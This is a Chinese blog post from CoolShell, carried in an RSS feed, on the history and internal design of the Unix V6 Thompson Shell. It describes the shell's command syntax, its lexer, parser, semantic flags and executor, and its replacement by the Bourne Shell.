+0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Compiler]]></category>\n\t\t<category><![CDATA[Interpreter]]></category>\n\t\t<category><![CDATA[Ken Thompson]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9410</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>(感谢网友Leo投递此文) 谨以此文纪念伟大的计算机科学巨匠Ken Thompson和Dennis Ritchie，并同时向其他所有为Unix发展做出贡献的黑客...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9410.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #cc0000;\"><strong>(感谢网友Leo投递此文)</strong></span></p>\n<p>谨以此文纪念伟大的计算机科学巨匠<a href=\"http://en.wikipedia.org/wiki/Ken_Thompson\" target=\"_blank\">Ken Thompson</a>和<a href=\"http://en.wikipedia.org/wiki/Dennis_Ritchie\" target=\"_blank\">Dennis Ritchie</a>，并同时向其他所有为Unix发展做出贡献的黑客致敬。</p>\n<h4>历史的尘埃</h4>\n<p>Unix作为一个举世闻名的操作系统已有40余年的历史，围绕着这个古老的操作系统的发展又衍生出了一系列外围软件生态群，其中一个非常重要的组件就是shell。<strong>它是操作系统最外层的接口，负责直接面向用户交互并提供内核服务，</strong>包括命令行接口(CLI)或图形界面接口(GUI)两种形式。以CLI为例，它提供一套命令规范，是一种解释性语言，将用户输入经过解释器(interpreter)输出使其转化成真正的系统调用，实现人机交互的功能。</p>\n<p>和操作系统一样，shell也经历了一个漫长的演变史。如今大部分资料讲述最古老的shell都是从1977年的<a href=\"http://en.wikipedia.org/wiki/Bourne_shell\" target=\"_blank\">Bourne Shell</a>说起的，它最初移植到<a href=\"http://en.wikipedia.org/wiki/Version_7_Unix\" target=\"_blank\">Unix V7</a>上，被追认整个shell家族成员的鼻祖，后来的种群都是从其身上分支出来的。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"Linux shells since 1977 \" src=\"https://www.ibm.com/developerworks/linux/library/l-linux-shells/figure1.gif\" /></p>\n<p>对于1977年之前的历史很多资料大多一笔带过或略过不提。事实上，第一个移植到Unix上的shell却不是<a href=\"http://en.wikipedia.org/wiki/Stephen_Richard_Bourne\" target=\"_blank\">Steve Bourne</a>写的，早在1975年5月，贝尔实验室就对外发布了第一个广泛传播的Unix版本——<a href=\"http://en.wikipedia.org/wiki/UNIX_V6\" target=\"_blank\">Unix V6</a>（之前开发的版本只供内部研究之用），其根目录下的/bin/sh是第一个Unix自带的shell，由Ken Thompson写的，因此也被称为<a href=\"http://en.wikipedia.org/wiki/Thompson_shell\" target=\"_blank\">Thompson Shell</a>。甚至，更早可以追溯到1971年的时候，Thompson Shell就作为一个独立于内核的应用程序而实现了，只不过从1975年正式问世到1977年被取代，短短两年的寿命使得它很少为大多数人所认识。</p>\n<p><span id=\"more-9410\"></span></p>\n<p>关于Thompson Shell被取代的原因在后文中会给出说明，这里着重介绍一下该shell本身的一些技术细节。坦白讲，关于Thompson Shell的资料有点稀缺，但至少还能从网上找到<a href=\"http://minnie.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v6/\" target=\"_blank\">源代码</a>和<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man\" target=\"_blank\">在线文档</a>。Thompson Shell本身是由一个不足900行代码的解释器和一些外部命令工具组件(utilities)构成，用<a href=\"http://en.wikipedia.org/wiki/K%26R_C#K.26R_C\" target=\"_blank\">K&amp;R C</a>写成，下面给出各个组件的相关源码和文档链接。</p>\n<ul>\n<li><strong>解释器sh</strong>：解析各种shell命令，包括内置命令和外部命令；源码sh.c；安装路径/bin/sh；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>内置命令</strong>手册包括<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/chdir.1\" target=\"_blank\">chdir(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/login.1\" target=\"_blank\">login(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/newgrp.1\" target=\"_blank\">newgrp(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/shift.1\" target=\"_blank\">shift(1)</a>，<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/wait.1\" target=\"_blank\">wait(1)</a>。</li>\n</ul>\n<p>下面是外部命令：</p>\n<ul>\n<li><strong>exit命令</strong>：退出一个文件；源码exit.c；安装路径/bin/exit；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/exit.1\" target=\"_blank\">exit(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>goto命令</strong>：在一个文件内跳转shell控制流程；源码goto.c；安装路径/bin/goto；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/goto.1\" target=\"_blank\">goto(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>if命令</strong>：条件判断表达式，是test命令的前身；源码if.c；安装路径/bin/if), 手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/if.1\" target=\"_blank\">if(1)</a>。</li>\n</ul>\n<ul>\n<li><strong>glob命令</strong>：扩展命令参数通配符；源码glob.c；安装路径/etc/glob；手册<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man8/glob.8\" target=\"_blank\">glob(8)</a>。</li>\n</ul>\n<h4>命令结构和规范</h4>\n<p>尽管后来遭“埋汰”，Thompson Shell仍有着不容否认的历史地位，其最大的价值在于<strong>它奠定了shell命令语言结构和规范的基础，而且其解释器具有跨平台的可移植性，并影响到了后来包括Bourne Shell在内的各种脚本语言设计实现。</strong>下面我们就以其中5个特性重温一些大家已经耳熟能详的命令规范，你也可以通过<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>手册查看原始资料。</p>\n<ul>\n<li><strong>过滤器/管道线(filter/pipeline)。</strong>这绝对是要载入Unix史册的发明，创立者是<a href=\"http://en.wikipedia.org/wiki/Douglas_McIlroy\" target=\"_blank\">Douglas McIlroy</a>，Thompson Shell引入并实现了这个伟大的概念——一个或多个命令组成一根过滤器的链条，由&#8217;|&#8217;或&#8217;^&#8217;符号分隔。除最后一个命令之外，每个命令的标准输出都被作为下一个命令的标准输入。这样每个命令都作为一个独立的进程来运行，并通过管道与邻近的进程相连接。圆括弧内的命令序列整体上可以替代单个命令作为过滤器实现，比如用户可以输入&#8221;(A;B)|C&#8221;。</li>\n</ul>\n<ul>\n<li><strong>命令序列和后台进程。</strong>分号&#8217;;&#8217;指示多个命令序列化执行。&#8217;&amp;&#8217;符号指示该命令在后台异步执行，使得前面的管道线不必等待其终止，仅仅报告一个进程id，这样用户以后可以通过kill命令与它通信。有益于进程管理。</li>\n</ul>\n<ul>\n<li><strong>I/O重定向。</strong>它利用了Unix设计上的一个重要特性——<strong>一切皆文件</strong>，用三个符号表示：&#8221;重定向输出，如果文件不存在则创建它，如果文件存在则截断它；&#8217;&gt;&gt;&#8217;追加模式重定向输出，如果文件不存在则创建它，如果文件存在则追加输出至末尾处。</li>\n</ul>\n<ul>\n<li><strong>通配符扩展(globbing)。</strong>通配符的概念源自于正则表达式，使得解释器智能地处理用户不完全输入，比如记不清文件名、一次性输入多个文件等。&#8217;?&#8217;匹配任意单一字符；&#8217;*&#8217;匹配任意字符串（包括空串）；成对'[&#8216;和&#8217;]&#8217;定义了字符集合一个类，可匹配方括号内任意成员，用&#8217;-&#8216;两端可指定一系列连续字符匹配范围。</li>\n</ul>\n<ul>\n<li><strong>参数传递。</strong>这里主要引入了位置参数和选项参数的概念：&#8217;$n&#8217;指示shell调用的第n个参数替代；还定义了两个选项参数&#8217;-t&#8217;和&#8217;-c&#8217;，前者用于交互，导致shell从标准输入中读入一行作为用户执行的系统命令，后者指示shell将附带的下一个参数作为命令执行（可正确处理换行符），是对&#8217;-t&#8217;的补充，特别是调用者已经读取了命令其中某些字符的情况下。如果不带选项参数则直接读取文件名</li>\n</ul>\n<h4>解释器的原理与实现</h4>\n<p>接下来马上要进入核心部分了，为了搞懂shell解释器原理，我们要对其整个工作流程做个描述（这里给出一份带注解的sh.c源码剖析）。读过《编译原理》的同学知道，解释器的实现跟编译器差不多，只不过省略了生成目标代码这一步，直接将用户输入（shell命令）转化成输出（系统调用）。<strong>软件前端是一致的，包括预处理、词法扫描、语法分析和语义分析，最后还要附加一个进程管理。</strong>当然相较于现代编译器，Thompson Shell解释器在算法和规模上都要简单得多，不过原理上是相通的，何况年代上要比Lex &amp; Yacc还要早。麻雀虽小，五脏俱全，对于初学者来说，从Thompson Shell去入手编译原理或许不失为一种好选择。</p>\n<h4>预处理(preprocessor)</h4>\n<p>同C预处理器需要事先将源代码中包含的宏和头文件展开一样，Thompson Shell首先需要处理命令中的<strong>选项参数</strong>和<strong>位置参数</strong>。选项参数有两种&#8217;-t&#8217;和&#8217;-c&#8217;，决定了shell从标准输入还是参数缓存中读取字符（见<a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1\" target=\"_blank\">sh(1)</a>）。此外字符序列中还要处理<strong>反斜杠&#8217;\\&#8217;</strong>，判断是转义字符还是行接续符，前者对下一个字符设置引用标识，表明做普通字符处理，后者将紧邻其后换行符过滤掉。</p>\n<p>位置参数是<strong>美元符号&#8217;$&#8217;</strong>打头的，后带一个数字，如&#8217;$n&#8217;，预处理器对shell命令参数从头开始计数，返回数字n指定的参数位置。如果遇上double&#8217;$$&#8217;，则表示当前的进程标识，调用getpid()获取。</p>\n<p>注意到预处理器需要一次读取多个字符，这样就会多读一个不必要的字符。对此解释器提供了一种<strong>预读(peek)</strong>方式，即每次从输入流读取一个字符时，放入一个预读缓存里（只有一个int大小的堆栈），也叫<strong>回退(push back)</strong>。此后先从预读缓存中读取，如果缓存被读完，则从输入流中读取。</p>\n<h4>词法扫描(lexical scanning)</h4>\n<p>经过预处理后的字符序列将被切割成为一系列<strong>词法记号(token)</strong>，安置在token列表中，扫描器将对以下几类字符做如下处理。</p>\n<ul>\n<li><strong>空格和tab</strong>：简单过滤。</li>\n</ul>\n<ul>\n<li><strong>引号</strong>：需要成对出现，字符本身被过滤，一对引号之间所有字符都被设置引用标识，作为一个token。</li>\n</ul>\n<ul>\n<li><strong>元字符</strong>：如&#8217;&amp;&#8217;，&#8217;|&#8217;等，字符本身作为一个单独token。</li>\n</ul>\n<ul>\n<li><strong>其他字符</strong>：一律填充token，直到碰上以上字符分隔为止。</li>\n</ul>\n<p>举一个例子，当我们输入命令&#8221;(ls; cat tail) &gt;junk&#8221;，那么token列表映像将是这样的：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9537\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/图1.jpg\" width=\"523\" height=\"176\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/04/图1.jpg 872w, https://coolshell.cn/wp-content/uploads/2013/04/图1-300x101.jpg 300w\" sizes=\"(max-width: 523px) 100vw, 523px\" /></p>\n<h4>语法分析(syntax parser)</h4>\n<p>语法分析就是将token列表中的元素作为<strong>表达式(expression)</strong>并以节点为单位构建语法树，简单命令是一个表达式，而复合命令以及命令序列是多个表达式的组合。Thompson Shell中以简单数组作为语法树的容器，实际上这是结构体的一种变形，只不过每个成员字段大小都一样（都是sizeof int）而已。一个语法树节点最多有6个字段（大小根据类型可变），分别是</p>\n<ul>\n<li><strong>DTYP（节点类型）</strong>：每个节点都有唯一的类型，又分为四种——TCOM（简单命令）、TPAR（复合命令）、TFIL（过滤器/管道线）、TLST（命令序列）。</li>\n</ul>\n<ul>\n<li><strong>DLEF（左子树节点）</strong>：相当于链表指针，根据DTYP定义有所不同。如过滤器类型左子树节点为前一个命令的输出重定向文件，右子树节点为后一个命令的输入重定向文件。</li>\n</ul>\n<ul>\n<li><strong>DRIG（右子树节点）</strong>：同上。</li>\n</ul>\n<ul>\n<li><strong>DFLG（节点属性）</strong>：这是个标志位(flag)，决定该节点包含命令的属性以及以什么样的状态执行。</li>\n</ul>\n<ul>\n<li><strong>DSPR（子命令）</strong>：两重含义，对于简单命令，该字段为空；对于复合命令，该字段指向子语法树节点。</li>\n</ul>\n<ul>\n<li><strong>DCOM（命令字符）</strong>：引用命令字符序列。</li>\n</ul>\n<p>语法树节点生成顺序根据token列表中每个元素的<strong>优先级(priority)</strong>而定，首先遍历整个列表，找到优先级最高的token作为根节点，再分别生成左右子树，这是一种最简单的<strong>自顶向下(top-down)</strong>解决方案。各个token优先级视DTYP字段而定</p>\n<table class=\"aligncenter\" width=\"367\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">优先级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">Token</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">DTYP</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第一级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">&#8216;&amp;&#8217;  &#8216;;&#8217;  &#8216;\\n&#8217;</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TLST</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第二级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">&#8216;|&#8217;  &#8216;^&#8217;</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TFIL</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第三级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\"> &#8216;(&#8216;  &#8216;)&#8217;</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TPAR</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第四级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">其它字符</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TCOM</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>语法树的构建过程中还使用了一种基于<strong>“有限状态机(finite-state machine)”</strong>的动态规划算法，其实现是将整个逻辑流程划分为四个状态：syntax、syn1、syn2、syn3，对应于上面token优先级，程序在每个状态下都生成一个相应类型的节点，同时还生成四种策略，以决议下一步将转移到何种状态（根据优先级搜索对应的token）。这个四种策略分别是</p>\n<ul>\n<li><strong>生成左子树</strong>：左边token列表递进到下层状态。</li>\n</ul>\n<ul>\n<li><strong>生成右子树</strong>：右边token列表并回溯到上层状态或递归调用。</li>\n</ul>\n<ul>\n<li><strong>找不到对应token</strong>：保持原有token列表递进到下层状态。</li>\n</ul>\n<ul>\n<li><strong>生成节点</strong>：直接返回节点。</li>\n</ul>\n<p>当我们遍历完整个token列表后，程序总是能返回最初的调用点，即根节点上，从而生成一棵完整的语法树。这种算法的好处是<strong>程序员不必关注具体实现的每个细枝末节，只要关注相应的状态并制定对应的转移策略即可。</strong>还值得一提的是每个转移策略都是发生在赋值语句或返回语句上，并使用函数实参保存临时变量，这样就避免了调用次数过多导致堆栈溢出。</p>\n<p>依旧举两个个例子，比如命令&#8221;A &amp; ; B | C&#8221;对应的语法树</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9538\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/图2.jpg\" width=\"350\" height=\"264\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/04/图2.jpg 546w, https://coolshell.cn/wp-content/uploads/2013/04/图2-300x226.jpg 300w\" sizes=\"(max-width: 350px) 100vw, 350px\" /></p>\n<p>命令&#8221;(A ; B) | C&#8221;对应的语法树：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-9539\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/图3.jpg\" width=\"350\" height=\"345\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/04/图3.jpg 584w, https://coolshell.cn/wp-content/uploads/2013/04/图3-300x295.jpg 300w\" sizes=\"(max-width: 350px) 100vw, 350px\" /></p>\n<h4>语义分析(Semantic Analyzer)</h4>\n<p>语法分析仅仅停留在token表达式合法性层面上，它并不知道该表达式是否有意义，比如哪些命令是要后台运行，哪些命令的I/O被重定向到管道线上，通配符该如何扩展等等，这时候要靠语义分析了。这里的“语义”体现在对特殊字符的动态处理以及语法树节点的字段设置，根据<strong>上下文(context)</strong>而定。比如对于元字符&#8217;&gt;&#8217;，我们要判断输出重定向到哪个文件，是截断还是追加。对于通配符&#8217;?&#8217;、&#8217;*&#8217;和'[&#8230;]&#8217;，我们要决定对哪些字符进行扩展，这些在/etc/glob中专门处理。对于语法树节点，除了自身固有属性之外，还需要继承上层节点的属性，以及下推属性到下层子树节点，下面列了一张表格说明。</p>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">DTYP</p>\n</td>\n<td valign=\"top\" width=\"217\">\n<p align=\"center\">DLEF/DRIG</p>\n</td>\n<td valign=\"top\" width=\"227\">\n<p align=\"center\">DFLG</p>\n</td>\n<td valign=\"top\" width=\"57\">\n<p align=\"center\">DSPR</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TLST</p>\n</td>\n<td valign=\"top\" width=\"217\">可以为空，也可以是其它节点，类型可以是TLST/TFIL/TCOM</td>\n<td valign=\"top\" width=\"227\">自身属性为0；如果带&#8217;&amp;&#8217;，则下推属性FINT|FAND|FPRS到左右子树（忽略信号、后台异步，打印pid）</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TFIL</p>\n</td>\n<td valign=\"top\" width=\"217\">必须同时存在、，类型只能是TCOM或TPAR</td>\n<td valign=\"top\" width=\"227\">自身属性继承自上层TLST；下推FPIN到左子树节点；下推FPOU到右子树节点。</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TPAR</p>\n</td>\n<td valign=\"top\" width=\"217\">空</td>\n<td rowspan=\"2\" valign=\"top\" width=\"227\">继承上层的TLST和TFIL；如果是追加模式重定向输出，加上FCAT；如果是复合命令中最后一个子命令，加上FPAR， 将不会fork子进程。</td>\n<td valign=\"top\" width=\"57\">子命令</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TCOM</p>\n</td>\n<td valign=\"top\" width=\"217\">左子树节点为输入重定向文件，右子树为节点输出重定向文件。</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n</tbody>\n</table>\n<h4>执行命令(Executor)</h4>\n<p>当前面一系列步骤之后，如果错误计数为0，则解释器从语法树的根节点开始，<strong>深度优先遍历</strong>所有节点，并根据前面语法和语义分析得到的类型和属性，一一执行所包含的命令，以生成最后的系统调用。</p>\n<p>对于<strong>命令序列(TLST)节点</strong>，从左至右顺序执行子树节点命令。</p>\n<p>对于<strong>过滤器(TFIL)节点</strong>，创建管道文件句柄，作为左右子树的重定向文件。</p>\n<p>对于<strong>简单命令(TCOM)和复合命令(TPAR)节点</strong>，首先筛选出系统内置命令(built-in)，对于剩下的外部命令则fork一个子进程执行它。如果是复合命令中最后一个子命令，那么仍在原来的进程上执行而不必创建新进程。可执行文件路径按先后顺序搜索：①本地路径；②/bin；③/usr/bin。</p>\n<p><strong>多进程环境下，特别要注意文件句柄管理</strong>。命令间共享标准输入输出设备之外，还会重定向到管道线，而父进程在fork之后子进程会获取一份文件句柄拷贝，所以<span style=\"color: #ff0000;\"><strong>父进程必须在fork之后立即关闭闲置的管道线句柄（如果有的话）以免造成资源泄漏，子进程也将在重定向之后关闭管道线句柄。</strong></span></p>\n<p>对于<strong>后台命令</strong>需要打印pid，但不需要响应中断信号，父进程也不必等待子进程终止。其余进程命令执行中可捕获中断信号，并转入相应的处理函数。</p>\n<p>解释器用内置的errno全局变量保存进程终止状态，并生成<strong>终止报告(termination report)</strong>，系统调用wait()用于返回终止进程的pid并输出报告消息索引。</p>\n<h4>孰优孰劣</h4>\n<p>尽管Thompson Shell是一款优秀的命令解释器，还产生了多项历史创举，但遗憾的是依然得不到命运女神的垂青，这要归咎于其自身的缺陷——<strong>功能单一、命令分散、控制流过于简单，尚无法用来编写脚本(script)</strong>。随着Unix日益壮大，它已经无法应付趋于繁杂的编程项目了。那时还出现了一个叫<a href=\"http://en.wikipedia.org/wiki/John_Mashey\" target=\"_blank\">John Mashey</a>的人写的<a href=\"http://en.wikipedia.org/wiki/PWB_shell\" target=\"_blank\">PWB Shell</a>（又叫做Mashey Shell），基于Thompson Shell做了些改进，扩展了命令集，增加了shell变量，还增加了if-then-else-endif，for，while等控制逻辑。不幸的是它比Thompson Shell更短命，因为1977年它遇上了一个强劲的对手。</p>\n<p>没错，那就是Bourne Shell，它的主要优点是真正实现了结构化脚本编程，比之前的shell实现得都要好，更要命的是它与前两个shell都不兼容，于是一场标准化的论战开始了。在<a href=\"http://en.wikipedia.org/wiki/David_Korn_(computer_scientist)\" target=\"_blank\">David G. Korn</a>（<a href=\"http://en.wikipedia.org/wiki/Korn_shell\" target=\"_blank\">ksh</a>作者）写的<a href=\"http://www.in-ulm.de/~mascheck/bourne/korn.html\" target=\"_blank\">&#8220;ksh &#8211; An Extensible High Level Language&#8221;</a>一文中提及，Steve Bourne和John Mashey在三次连续的Unix用户组集会上争论他们各自的理由。在这些集会之间，各自增进他们的shell来拥有对方的功能。还设立了一个委员会来选择标准shell，最终还是选择了Bourne shell作为标准。</p>\n<p>于是从Unix V7开始就有了前面所说的&#8221;Bourne Shell Family&#8221;。然而历史上没有完美的技术，随着八、九十年代操作系统迅猛发展，针对Bourne Shell的诟病也越来越多了。在解释器本身实现上，我看到网上一个对其评价是<a href=\"http://lwn.net/Articles/471015/\" target=\"_blank\">&#8220;universally considered to be one of the most horrible C code ever written&#8221;</a>，至于原因去看一下mac.h就知道了，包括基本运算符、关键字在内的大量宏定义使得整个代码看上去简直不是C写的，也许Bourne是想把解释器打造成自己独特的风格吧，也难怪后来的bash以<strong>&#8220;born again&#8221;</strong>命名就是对其祖先的戏谑性调侃。另外<a href=\"http://www.in-ulm.de/~mascheck/bourne/segv.html\" target=\"_blank\">内存管理</a>上的一些毛病带来平台可移植性问题，至于其中的技术细节有点高级，超出本文范畴。</p>\n<h4>Thompson Again Shell?</h4>\n<p>虽然历史没有给Thompson Shell一个机会，但它并非就此同Unix V6那样一同沦为开源博物馆上的古老“化石”。作为出自顶级黑客之手的作品，作为伴随Unix那样伟大操作系统一同曾经流行计算机的产物，至今仍受国内外程序员的缅怀，或将其改写，或为其作注。比如国外一个站点<a href=\"http://v6shell.org/\" target=\"_blank\">v6shell.org</a>上就实现了一个免费开源的可移植性shell，它兼容并扩充原来的Thompson Shell并且可用来做脚本编程。再比如中国程序员<a href=\"http://blog.chinaunix.net/uid-20106293-id-142129.html\" target=\"_blank\">寒蝉退士</a>在其个人博客上发布了一个注解版，并对原版做了一些改写，主要是将<strong>K&amp;R C</strong>转为<strong>ANSI C</strong>，并且符合<strong>POSIX规范</strong>，使原本晦涩难懂的源码变得清晰易读起来。正是因为接触到他的版本激起了我对老Unix的考古兴趣，才有了这篇“考古笔记”。我在想不知今后会不会像bash那样，出一个tash来呢？</p>\n<h4>一些感想</h4>\n<p>本来全文应该就此结束了，但此时此刻不禁想多说几句。这篇笔记当初并非有意而为之，在hacking源码的过程中感想积累多了也就逐渐成章了。看代码、作注解、查资料、写此文，前后历经四个多礼拜，是在繁杂的工作中“挤乳沟”挤出来的零散时间片拼凑起来的，虽然文字不长但也算耗费了一番心血，酸甜苦辣心中自明，体会到踏上社会之后潜下心做研究之艰难。如今面对这样一份不到900行写成的，没有一行多余的代码，<strong>简洁(clarity)、干净(clean)、快速(fast)，</strong>这就是Pure C的魅力，我深为这种厚重的编程功力所折服，正所谓<strong>“大道至简”</strong>吧。虽然要完全弄懂它需要很多时间，但我相信这种代价却是值得的。</p>\n<p>最后再八卦一下，2011年Dennis Ritchie去世了，有人生前问过他“学C需要多久才能成为熟练开发者并写出重要产品代码？”，Ritchie回答“我不知道，我从没去学过C。”<a href=\"http://www.cs.columbia.edu/~aho/Talks/12-09-07_DMR.pdf\" target=\"_blank\">(I don’t know. I never had to learn C.)</a>其实这里已经给出了答案——<strong>那就是没有比去阅读Unix源代码更好的选择了，某种意义上C语言就是为Unix而生的。</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"Dennis Mac Ritchie\" src=\"http://th05.deviantart.net/fs71/PRE/f/2011/296/7/2/dennis_ritchie_by_juanosborne-d4dooi9.jpg\" width=\"611\" height=\"314\" /></p>\n<h4>参考资料</h4>\n<p><a href=\"http://www.tuhs.org/\" target=\"_blank\">The Unix Heritage Society</a>：Unix社区遗产，上面有v6和v7以及其它一些衍生版本的操作系统源代码。</p>\n<p><a href=\"http://www.in-ulm.de/~mascheck/bourne/\" target=\"_blank\">The Traditional Bourne Shell Family</a>：Bourne Shell家族简史。</p>\n<p><a href=\"http://v6shell.org/\" target=\"_blank\">v6shell</a>：osh，一个基于Thompson Shell的开源可移植性old shell。</p>\n<p><a href=\"http://blog.chinaunix.net/uid-20106293-id-142129.html\" target=\"_blank\">寒蝉退士的博客</a>：Thompson Shell的一个注解版。</p>\n<p><a href=\"https://www.ibm.com/developerworks/linux/library/l-linux-shells/index.html?ca=drs-\" target=\"_blank\">Evolution of shells in Linux</a>：简述Linux Shell演变史。</p>\n<p>附录一个中文注释的 <a href=\"https://coolshell.cn/wp-content/uploads/2013/04/shell源码.zip\">shell源码</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" 